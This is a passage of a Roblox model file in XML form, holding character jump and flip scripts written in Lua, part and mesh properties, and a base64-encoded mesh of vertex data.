						<string name="Name">ik7txer</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX228">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Hop</string>
						<string name="Source">print(&quot;Hello world!&quot;)

function Jump(a)
print(a)

if a == true then
wait(0.1)
script.Parent.Parent.Torso.Velocity = script.Parent.Parent.Torso.Velocity + Vector3.new(0, (script.Height.Value),0)

else
end

end

script.Parent.Jumping:connect(Jump)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="IntValue" referent="RBX229">
						<Properties>
							<string name="Name">Height</string>
							<int name="Value">50</int>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="LocalScript" referent="RBX230">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">LocalScript</string>
							<string name="Source">function _restoreproperties() 
Holder = player.Character 
Torso = Holder:FindFirstChild(&quot;Torso&quot;) 
RightS = Torso:FindFirstChild(&quot;Right Shoulder&quot;) 
LeftS = Torso:FindFirstChild(&quot;Left Shoulder&quot;) 
RightH = Torso:FindFirstChild(&quot;Right Hip&quot;) 
LeftH = Torso:FindFirstChild(&quot;Left Hip&quot;) 
RightS.MaxVelocity = .15 
LeftS.MaxVelocity = .15 
RightH.MaxVelocity = .1 
LeftH.MaxVelocity = .1 
RightS.DesiredAngle = 0 
LeftS.DesiredAngle = 0 
LeftH.DesiredAngle = 0 
RightH.DesiredAngle = 0 
end 
function ManageAnimation(value) 
Holder = player.Character 
Player = player 
if value == &quot;no anim&quot; then 
Anim = Holder:FindFirstChild(&quot;Animate&quot;) 
if Anim~=nil then 
Anim.Disabled = true 
Anim.Parent = Player 
end 
elseif value == &quot;re-anim&quot; then 
Anim = Player:FindFirstChild(&quot;Animate&quot;) 
if Anim~=nil then 
Anim.Disabled = false 
Anim.Parent = Holder 
end 
end 
end 
function Stance() 
Char = player.Character 
L = Char.Torso:FindFirstChild(&quot;Left Shoulder&quot;) 
R = Char.Torso:FindFirstChild(&quot;Right Shoulder&quot;) 
if L~=nil then 
L.DesiredAngle = 3.2 
L.MaxVelocity = 3 
end 
if R~=nil then 
R.DesiredAngle = 3.2 
R.MaxVelocity = 3 
end 
L = Char.Torso:FindFirstChild(&quot;Left Hip&quot;) 
R = Char.Torso:FindFirstChild(&quot;Right Hip&quot;) 
if L~=nil then 
L.DesiredAngle = 0 
L.MaxVelocity = 3 
end 
if R~=nil then 
R.DesiredAngle = 0 
R.MaxVelocity = 3 
end 
end 
function Down(ml) 
for i=1, ml.velocity.y/3 do 
ml.velocity = ml.velocity+Vector3.new(0,-4.25,0) 
wait() 
end 
ml:Remove() 
end 
function Flip() 
Char = player.Character 
Human = Char.Humanoid 
Torso = Char.Torso 
CF = Torso.CFrame 
ManageAnimation(&quot;re anim&quot;) 
Stance() 
Human.Jump = true
VelUp = Instance.new(&quot;BodyVelocity&quot;) 
VelUp.velocity = Vector3.new(72.5,0,72.5)+Torso.CFrame.lookVector*30 
VelUp.P = VelUp.P*2 
VelUp.maxForce = Vector3.new(10000,10000,10000)*999 
VelUp.Parent = Torso 

	
coroutine.resume(coroutine.create(Down),VelUp) 
Gyro = Instance.new(&quot;BodyGyro&quot;) 
Gyro.P = Gyro.P*10 
Gyro.maxTorque = Vector3.new(100000,100000,100000)*999 
Gyro.cframe = CF 
Gyro.Parent = Torso 
for i=1, 32 do 
Gyro.cframe = Gyro.cframe*CFrame.fromEulerAnglesXYZ(math.pi/-16,0,0) 
wait() 
end 
Gyro.cframe = CF 
game:GetService(&quot;Debris&quot;):AddItem(Gyro,2) 
ManageAnimation(&quot;re-anim&quot;) 
_restoreproperties() 
end 
function onActive(mouse) 
player = game.Players.LocalPlayer 
if player==nil then return end 
mouse.Button1Down:connect(function() Flip() end) 
end 
script.Parent.Selected:connect(onActive) 
 
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX231">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Chest</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX232">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">oazdw5r</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX233">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>49</X>
							<Y>4</Y>
							<Z>16.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Middle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>1.96098583e-017</X>
							<Y>-1.26252396e-019</Y>
							<Z>1.38757074e-017</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>-1.49345402e-018</X>
							<Y>0.00550851459</Y>
							<Z>1.49301286e-017</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX234">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX235">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">z4aezwh</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX236">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">e08wbl</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX237">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>49</X>
							<Y>5.40019035</Y>
							<Z>16.4909668</Z>
							<R00>1</R00>
							<R01>-1.37615361e-018</R01>
							<R02>-9.11920469e-018</R02>
							<R10>1.37615143e-018</R10>
							<R11>1</R11>
							<R12>-3.42285418e-008</R12>
							<R20>9.11920469e-018</R20>
							<R21>3.42285418e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Head</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.60000002</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX238">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><binary>dmVyc2lvbiAxLjAwDQo4MzYNClstNS41ODI3NSwgLTIuNjM3MzQsIC0yLjYwMDc2XVstMC41
ODY0MiwgMC4xMjM3MSwgLTAuODAwNTBdWzAuMDQ4NDIsIDAuOTQyOTIsIDBdWy0yLjM4NTc1
LCAxLjE0NzE2LCAtNC4zOTcyN11bLTAuNTM3NTAsIDAuMDUzNjUsIC0wLjg0MTU1XVswLjA0
Njc2LCAwLjk0MTk0LCAwXVstNS4xNTkyNSwgLTMuMTI3ODUsIC0zLjE5MTc2XVstMC40MTIz
MiwgMC41ODk1OCwgLTAuNjk0NTVdWzAuMDQ4NDIsIDAuOTQyOTIsIDBdWy0yLjQxMjc1LCAt
Ni43ODY4NSwgMC43MTAyMzFdWy0wLjI1MDI4LCAtMC45NjcxMCwgLTAuMDQ1NTBdWzAuMTkw
NTksIDAuMDY5NTcsIDBdWy0wLjAwMDI1MTk4LCAtNy4xOTUzNCwgLTAuNjg1MjY0XVstMC4w
MDAwMSwgLTAuOTk5OTAsIC0wLjAxMzkxXVswLjE2NzA5LCAwLjA4MDI2LCAwXVstMC4wMDAy
NTE5OCwgLTcuMTA0ODQsIDAuNTg0NzM2XVstMC4wMDAwMSwgLTAuOTk5NTcsIC0wLjAyOTQx
XVswLjE2NzA5LCAwLjA2OTUyLCAwXVstMC4wMDAyNTE5OCwgLTcuMTA0ODQsIDAuNTg0NzM2
XVstMC4wMDAwMSwgLTAuOTk5NTcsIC0wLjAyOTQxXVswLjE2NzA5LCAwLjA2OTUyLCAwXVst
MC4wMDAyNTE5OCwgLTcuMTk1MzQsIC0wLjY4NTI2NF1bLTAuMDAwMDEsIC0wLjk5OTkwLCAt
MC4wMTM5MV1bMC4xNjcwOSwgMC4wODAyNiwgMF1bMi40MTI3NCwgLTYuNzg2ODUsIDAuNzEw
MjMxXVswLjI1MDI3LCAtMC45NjcxMSwgLTAuMDQ1NTBdWzAuMTQzNTcsIDAuMDY5NTcsIDBd
WzEuNjg5MjQsIC02Ljk2MjM1LCAtMS4zMjA3N11bMC4xODc5MiwgLTAuOTcxOTQsIC0wLjE0
MTQ5XVswLjE1MDYyLCAwLjA4NjY0LCAwXVsyLjQxMjc0LCAtNi43ODY4NSwgMC43MTAyMzFd
WzAuMjUwMjcsIC0wLjk2NzExLCAtMC4wNDU1MF1bMC4xNDM1NywgMC4wNjk1NywgMF1bLTAu
MDAwMjUxOTgsIC03LjE5NTM0LCAtMC42ODUyNjRdWy0wLjAwMDAxLCAtMC45OTk5MCwgLTAu
MDEzOTFdWzAuMTY3MDksIDAuMDgwMjYsIDBdWy01LjM4Mjc1LCAtNC42Njg4NCwgLTIuNTUz
NzZdWy0wLjY1NTMxLCAtMC42MzY3OSwgLTAuNDA2MjldWzAuMjE5NTIsIDAuMTA1NTUsIDBd
Wy01LjY5MjI1LCAtMy45MDgzNCwgLTIuOTI3MjddWy0wLjc1OTI5LCAtMC4zNDY5OCwgLTAu
NTUwNTNdWzAuMjIyNTUsIDAuMTExNTEsIDBdWy00LjQ5NTI1LCAtNC42NTY4NSwgLTMuNzU5
MjddWy0wLjY0Mjc0LCAtMC40OTU4MywgLTAuNTgzOThdWzAuMjEwODgsIDAuMTE2MDksIDBd
Wy01Ljk4MzI1LCAtNC43MDA4NCwgLTEuMzczNzZdWy0wLjc1NTg3LCAtMC42MjE3NywgLTAu
MjA1MDldWzAuMjI1MzcsIDAuMDk1MTYsIDBdWy01LjY5MjI1LCAtMy45MDgzNCwgLTIuOTI3
MjddWy0wLjc1OTI5LCAtMC4zNDY5OCwgLTAuNTUwNTNdWzAuMjIyNTUsIDAuMTExNTEsIDBd
Wy01LjM4Mjc1LCAtNC42Njg4NCwgLTIuNTUzNzZdWy0wLjY1NTMxLCAtMC42MzY3OSwgLTAu
NDA2MjldWzAuMjE5NTIsIDAuMTA1NTUsIDBdWy00LjU2NTI1LCAtNS43MTgzNCwgLTEuNzIw
MjZdWy0wLjU0NTY3LCAtMC44MTA0NCwgLTAuMjEzMTNdWzAuMjExNTUsIDAuMDk0NTQsIDBd
Wy01Ljk4MzI1LCAtNC43MDA4NCwgLTEuMzczNzZdWy0wLjc1NTg3LCAtMC42MjE3NywgLTAu
MjA1MDldWzAuMjI1MzcsIDAuMDk1MTYsIDBdWy01LjM4Mjc1LCAtNC42Njg4NCwgLTIuNTUz
NzZdWy0wLjY1NTMxLCAtMC42MzY3OSwgLTAuNDA2MjldWzAuMjE5NTIsIDAuMTA1NTUsIDBd
Wy01Ljk4MzI1LCAtNC43MDA4NCwgLTEuMzczNzZdWy0wLjc1NTg3LCAtMC42MjE3NywgLTAu
MjA1MDldWzAuMjI1MzcsIDAuMDk1MTYsIDBdWy00LjU2NTI1LCAtNS43MTgzNCwgLTEuNzIw
MjZdWy0wLjU0NTY3LCAtMC44MTA0NCwgLTAuMjEzMTNdWzAuMjExNTUsIDAuMDk0NTQsIDBd
Wy00LjY3MDI1LCAtNS44NDczNCwgMC43MzEyMzZdWy0wLjM5Mzc4LCAtMC44NzY1NSwgLTAu
Mjc2NzddWzAuMjEyNTgsIDAuMDcyNzMsIDBdWy00LjY3MDI1LCAtNS44NDczNCwgMC43MzEy
MzZdWy0wLjM5Mzc4LCAtMC44NzY1NSwgLTAuMjc2NzddWzAuMjEyNTgsIDAuMDcyNzMsIDBd
Wy00LjU2NTI1LCAtNS43MTgzNCwgLTEuNzIwMjZdWy0wLjU0NTY3LCAtMC44MTA0NCwgLTAu
MjEzMTNdWzAuMjExNTUsIDAuMDk0NTQsIDBdWy0yLjkxNzc1LCAtNi41NDk4NCwgLTEuODIz
NzddWy0wLjM1MjEyLCAtMC45MTQ3MSwgLTAuMTk4MjhdWzAuMTk1NTEsIDAuMDkyNDksIDBd
Wy00LjY3MDI1LCAtNS44NDczNCwgMC43MzEyMzZdWy0wLjM5Mzc4LCAtMC44NzY1NSwgLTAu
Mjc2NzddWzAuMjEyNTgsIDAuMDcyNzMsIDBdWy0yLjkxNzc1LCAtNi41NDk4NCwgLTEuODIz
NzddWy0wLjM1MjEyLCAtMC45MTQ3MSwgLTAuMTk4MjhdWzAuMTk1NTEsIDAuMDkyNDksIDBd
Wy0yLjQxMjc1LCAtNi43ODY4NSwgMC43MTAyMzFdWy0wLjI1MDI4LCAtMC45NjcxMCwgLTAu
MDQ1NTBdWzAuMTkwNTksIDAuMDY5NTcsIDBdWy0yLjkxNzc1LCAtNi41NDk4NCwgLTEuODIz
NzddWy0wLjM1MjEyLCAtMC45MTQ3MSwgLTAuMTk4MjhdWzAuMTk1NTEsIDAuMDkyNDksIDBd
Wy0xLjY4OTI1LCAtNi45NjIzNSwgLTEuMzIwNzddWy0wLjE4Nzk1LCAtMC45NzE5MywgLTAu
MTQxNDldWzAuMTgzNTQsIDAuMDg2NjQsIDBdWy0yLjQxMjc1LCAtNi43ODY4NSwgMC43MTAy
MzFdWy0wLjI1MDI4LCAtMC45NjcxMCwgLTAuMDQ1NTBdWzAuMTkwNTksIDAuMDY5NTcsIDBd
Wy0wLjAwMDI1MTk4LCAtNy4xOTUzNCwgLTAuNjg1MjY0XVstMC4wMDAwMSwgLTAuOTk5OTAs
IC0wLjAxMzkxXVswLjE2NzA5LCAwLjA4MDI2LCAwXVstMi40MTI3NSwgLTYuNzg2ODUsIDAu
NzEwMjMxXVstMC4yNTAyOCwgLTAuOTY3MTAsIC0wLjA0NTUwXVswLjE5MDU5LCAwLjA2OTU3
LCAwXVstMS42ODkyNSwgLTYuOTYyMzUsIC0xLjMyMDc3XVstMC4xODc5NSwgLTAuOTcxOTMs
IC0wLjE0MTQ5XVswLjE4MzU0LCAwLjA4NjY0LCAwXVstMS42ODkyNSwgLTYuOTYyMzUsIC0x
LjMyMDc3XVstMC4xODc5NSwgLTAuOTcxOTMsIC0wLjE0MTQ5XVswLjE4MzU0LCAwLjA4NjY0
LCAwXVstMC4wMDAyNTE5OCwgLTYuOTA2MzQsIC0yLjY2MTI2XVstMC4wMDAwMiwgLTAuOTY1
MjcsIC0wLjI2MTI2XVswLjE2NzA5LCAwLjA5ODUxLCAwXVstMC4wMDAyNTE5OCwgLTcuMTk1
MzQsIC0wLjY4NTI2NF1bLTAuMDAwMDEsIC0wLjk5OTkwLCAtMC4wMTM5MV1bMC4xNjcwOSwg
MC4wODAyNiwgMF1bLTAuMDAwMjUxOTgsIC03LjE5NTM0LCAtMC42ODUyNjRdWy0wLjAwMDAx
LCAtMC45OTk5MCwgLTAuMDEzOTFdWzAuMTY3MDksIDAuMDgwMjYsIDBdWy0wLjAwMDI1MTk4
LCAtNi45MDYzNCwgLTIuNjYxMjZdWy0wLjAwMDAyLCAtMC45NjUyNywgLTAuMjYxMjZdWzAu
MTY3MDksIDAuMDk4NTEsIDBdWzEuNjg5MjQsIC02Ljk2MjM1LCAtMS4zMjA3N11bMC4xODc5
MiwgLTAuOTcxOTQsIC0wLjE0MTQ5XVswLjE1MDYyLCAwLjA4NjY0LCAwXVsxLjIwMjc1LCAt
Ni4zMTczNSwgLTMuODI0MjddWzAuMTkxNTcsIC0wLjkwNTk5LCAtMC4zNzc0N11bMC4xNTUz
NSwgMC4xMTA3MywgMF1bMS42ODkyNCwgLTYuOTYyMzUsIC0xLjMyMDc3XVswLjE4NzkyLCAt
MC45NzE5NCwgLTAuMTQxNDldWzAuMTUwNjIsIDAuMDg2NjQsIDBdWy0wLjAwMDI1MTk4LCAt
Ni45MDYzNCwgLTIuNjYxMjZdWy0wLjAwMDAyLCAtMC45NjUyNywgLTAuMjYxMjZdWzAuMTY3
MDksIDAuMDk4NTEsIDBdWzEuMjAyNzUsIC02LjMxNzM1LCAtMy44MjQyN11bMC4xOTE1Nywg
LTAuOTA1OTksIC0wLjM3NzQ3XVswLjE1NTM1LCAwLjExMDczLCAwXVsyLjkxNzc1LCAtNi41
NDk4NCwgLTEuODIzNzddWzAuMzUyMTIsIC0wLjkxNDcxLCAtMC4xOTgyOF1bMC4xMzg2NSwg
MC4wOTI0OSwgMF1bMS42ODkyNCwgLTYuOTYyMzUsIC0xLjMyMDc3XVswLjE4NzkyLCAtMC45
NzE5NCwgLTAuMTQxNDldWzAuMTUwNjIsIDAuMDg2NjQsIDBdWzIuNDEyNzQsIC02Ljc4Njg1
LCAwLjcxMDIzMV1bMC4yNTAyNywgLTAuOTY3MTEsIC0wLjA0NTUwXVswLjE0MzU3LCAwLjA2
OTU3LCAwXVsxLjY4OTI0LCAtNi45NjIzNSwgLTEuMzIwNzddWzAuMTg3OTIsIC0wLjk3MTk0
LCAtMC4xNDE0OV1bMC4xNTA2MiwgMC4wODY2NCwgMF1bMi45MTc3NSwgLTYuNTQ5ODQsIC0x
LjgyMzc3XVswLjM1MjEyLCAtMC45MTQ3MSwgLTAuMTk4MjhdWzAuMTM4NjUsIDAuMDkyNDks
IDBdWzIuNDEyNzQsIC02Ljc4Njg1LCAwLjcxMDIzMV1bMC4yNTAyNywgLTAuOTY3MTEsIC0w
LjA0NTUwXVswLjE0MzU3LCAwLjA2OTU3LCAwXVsyLjkxNzc1LCAtNi41NDk4NCwgLTEuODIz
NzddWzAuMzUyMTIsIC0wLjkxNDcxLCAtMC4xOTgyOF1bMC4xMzg2NSwgMC4wOTI0OSwgMF1b
NC42NzAyNCwgLTUuODQ3MzQsIDAuNzMxMjM2XVswLjM5Mzc4LCAtMC44NzY1NSwgLTAuMjc2
NzddWzAuMTIxNTYsIDAuMDcyNzMsIDBdWzIuOTE3NzUsIC02LjU0OTg0LCAtMS44MjM3N11b
MC4zNTIxMiwgLTAuOTE0NzEsIC0wLjE5ODI4XVswLjEzODY1LCAwLjA5MjQ5LCAwXVs0LjU2
NTI0LCAtNS43MTgzNCwgLTEuNzIwMjZdWzAuNTQ1NjcsIC0wLjgxMDQ0LCAtMC4yMTMxM11b
MC4xMjI1OCwgMC4wOTQ1NCwgMF1bNC42NzAyNCwgLTUuODQ3MzQsIDAuNzMxMjM2XVswLjM5
Mzc4LCAtMC44NzY1NSwgLTAuMjc2NzddWzAuMTIxNTYsIDAuMDcyNzMsIDBdWzQuNjcwMjQs
IC01Ljg0NzM0LCAwLjczMTIzNl1bMC4zOTM3OCwgLTAuODc2NTUsIC0wLjI3Njc3XVswLjEy
MTU2LCAwLjA3MjczLCAwXVs0LjU2NTI0LCAtNS43MTgzNCwgLTEuNzIwMjZdWzAuNTQ1Njcs
IC0wLjgxMDQ0LCAtMC4yMTMxM11bMC4xMjI1OCwgMC4wOTQ1NCwgMF1bNS45ODMyNSwgLTQu
NzAwODQsIC0xLjM3Mzc3XVswLjc1NTk2LCAtMC42MjE2NCwgLTAuMjA1MTVdWzAuMTA4NzUs
IDAuMDk1MTYsIDBdWzUuMzgyNzQsIC00LjY2ODg0LCAtMi41NTM3Nl1bMC42NTU0MCwgLTAu
NjM2NjYsIC0wLjQwNjM0XVswLjExNDYyLCAwLjEwNTU1LCAwXVs1Ljk4MzI1LCAtNC43MDA4
NCwgLTEuMzczNzddWzAuNzU1OTYsIC0wLjYyMTY0LCAtMC4yMDUxNV1bMC4xMDg3NSwgMC4w
OTUxNiwgMF1bNC41NjUyNCwgLTUuNzE4MzQsIC0xLjcyMDI2XVswLjU0NTY3LCAtMC44MTA0
NCwgLTAuMjEzMTNdWzAuMTIyNTgsIDAuMDk0NTQsIDBdWzUuMzgyNzQsIC00LjY2ODg0LCAt
Mi41NTM3Nl1bMC42NTU0MCwgLTAuNjM2NjYsIC0wLjQwNjM0XVswLjExNDYyLCAwLjEwNTU1
LCAwXVs1LjY5MTc1LCAtMy45MDgzNCwgLTIuOTI3MjddWzAuNzU5MzUsIC0wLjM0Njk3LCAt
MC41NTA0NV1bMC4xMTE2MSwgMC4xMTE1MSwgMF1bNS45ODMyNSwgLTQuNzAwODQsIC0xLjM3
Mzc3XVswLjc1NTk2LCAtMC42MjE2NCwgLTAuMjA1MTVdWzAuMTA4NzUsIDAuMDk1MTYsIDBd
Wy0yLjkxNzc1LCAtNi41NDk4NCwgLTEuODIzNzddWy0wLjM1MjEyLCAtMC45MTQ3MSwgLTAu
MTk4MjhdWzAuMTk1NTEsIDAuMDkyNDksIDBdWy0yLjM0ODc0LCAtNS40OTY4NSwgLTQuODkw
MjddWy0wLjM1NzA4LCAtMC43Mjk1NiwgLTAuNTgzMjldWzAuMTg5OTcsIDAuMTIyOTYsIDBd
Wy0xLjIwMjc1LCAtNi4zMTczNSwgLTMuODI0MjddWy0wLjE5MTYwLCAtMC45MDU5OCwgLTAu
Mzc3NDddWzAuMTc4ODAsIDAuMTEwNzMsIDBdWy0xLjY4OTI1LCAtNi45NjIzNSwgLTEuMzIw
NzddWy0wLjE4Nzk1LCAtMC45NzE5MywgLTAuMTQxNDldWzAuMTgzNTQsIDAuMDg2NjQsIDBd
Wy0yLjkxNzc1LCAtNi41NDk4NCwgLTEuODIzNzddWy0wLjM1MjEyLCAtMC45MTQ3MSwgLTAu
MTk4MjhdWzAuMTk1NTEsIDAuMDkyNDksIDBdWy0xLjIwMjc1LCAtNi4zMTczNSwgLTMuODI0
MjddWy0wLjE5MTYwLCAtMC45MDU5OCwgLTAuMzc3NDddWzAuMTc4ODAsIDAuMTEwNzMsIDBd
Wy0wLjAwMDI1MTk4LCAtNi45MDYzNCwgLTIuNjYxMjZdWy0wLjAwMDAyLCAtMC45NjUyNywg
LTAuMjYxMjZdWzAuMTY3MDksIDAuMDk4NTEsIDBdWy0xLjY4OTI1LCAtNi45NjIzNSwgLTEu
MzIwNzddWy0wLjE4Nzk1LCAtMC45NzE5MywgLTAuMTQxNDldWzAuMTgzNTQsIDAuMDg2NjQs
IDBdWy0xLjIwMjc1LCAtNi4zMTczNSwgLTMuODI0MjddWy0wLjE5MTYwLCAtMC45MDU5OCwg
LTAuMzc3NDddWzAuMTc4ODAsIDAuMTEwNzMsIDBdWzEuMjAyNzUsIC02LjMxNzM1LCAtMy44
MjQyN11bMC4xOTE1NywgLTAuOTA1OTksIC0wLjM3NzQ3XVswLjE1NTM1LCAwLjExMDczLCAw
XVstMC4wMDAyNTE5OCwgLTYuOTA2MzQsIC0yLjY2MTI2XVstMC4wMDAwMiwgLTAuOTY1Mjcs
IC0wLjI2MTI2XVswLjE2NzA5LCAwLjA5ODUxLCAwXVstMC4wMDAyNTE5OCwgLTYuMjgwMzQs
IC00LjMyNjI2XVstMC4wMDAwMiwgLTAuODc1MjUsIC0wLjQ4MzY3XVswLjE2NzA5LCAwLjEx
NTI1LCAwXVstMC4wMDAyNTE5OCwgLTYuMjgwMzQsIC00LjMyNjI2XVstMC4wMDAwMiwgLTAu
ODc1MjUsIC0wLjQ4MzY3XVswLjE2NzA5LCAwLjExNTI1LCAwXVstMC4wMDAyNTE5OCwgLTYu
OTA2MzQsIC0yLjY2MTI2XVstMC4wMDAwMiwgLTAuOTY1MjcsIC0wLjI2MTI2XVswLjE2NzA5
LCAwLjA5ODUxLCAwXVstMS4yMDI3NSwgLTYuMzE3MzUsIC0zLjgyNDI3XVstMC4xOTE2MCwg
LTAuOTA1OTgsIC0wLjM3NzQ3XVswLjE3ODgwLCAwLjExMDczLCAwXVstMS4wMjE3NSwgLTUu
NDA1MzQsIC01LjQ3MzI2XVstMC4xNjI2MCwgLTAuNzE5NjEsIC0wLjY3NTA3XVswLjE3NzAz
LCAwLjEyODM1LCAwXVstMC4wMDAyNTE5OCwgLTYuMjgwMzQsIC00LjMyNjI2XVstMC4wMDAw
MiwgLTAuODc1MjUsIC0wLjQ4MzY3XVswLjE2NzA5LCAwLjExNTI1LCAwXVstMS4yMDI3NSwg
LTYuMzE3MzUsIC0zLjgyNDI3XVstMC4xOTE2MCwgLTAuOTA1OTgsIC0wLjM3NzQ3XVswLjE3
ODgwLCAwLjExMDczLCAwXVstMi4zNDg3NCwgLTUuNDk2ODUsIC00Ljg5MDI3XVstMC4zNTcw
OCwgLTAuNzI5NTYsIC0wLjU4MzI5XVswLjE4OTk3LCAwLjEyMjk2LCAwXVstMS4wMjE3NSwg
LTUuNDA1MzQsIC01LjQ3MzI2XVstMC4xNjI2MCwgLTAuNzE5NjEsIC0wLjY3NTA3XVswLjE3
NzAzLCAwLjEyODM1LCAwXVstMS4yMDI3NSwgLTYuMzE3MzUsIC0zLjgyNDI3XVstMC4xOTE2
MCwgLTAuOTA1OTgsIC0wLjM3NzQ3XVswLjE3ODgwLCAwLjExMDczLCAwXVstMS4wMjE3NSwg
LTUuNDA1MzQsIC01LjQ3MzI2XVstMC4xNjI2MCwgLTAuNzE5NjEsIC0wLjY3NTA3XVswLjE3
NzAzLCAwLjEyODM1LCAwXVstMi4zNDg3NCwgLTUuNDk2ODUsIC00Ljg5MDI3XVstMC4zNTcw
OCwgLTAuNzI5NTYsIC0wLjU4MzI5XVswLjE4OTk3LCAwLjEyMjk2LCAwXVstMS44MDMyNSwg
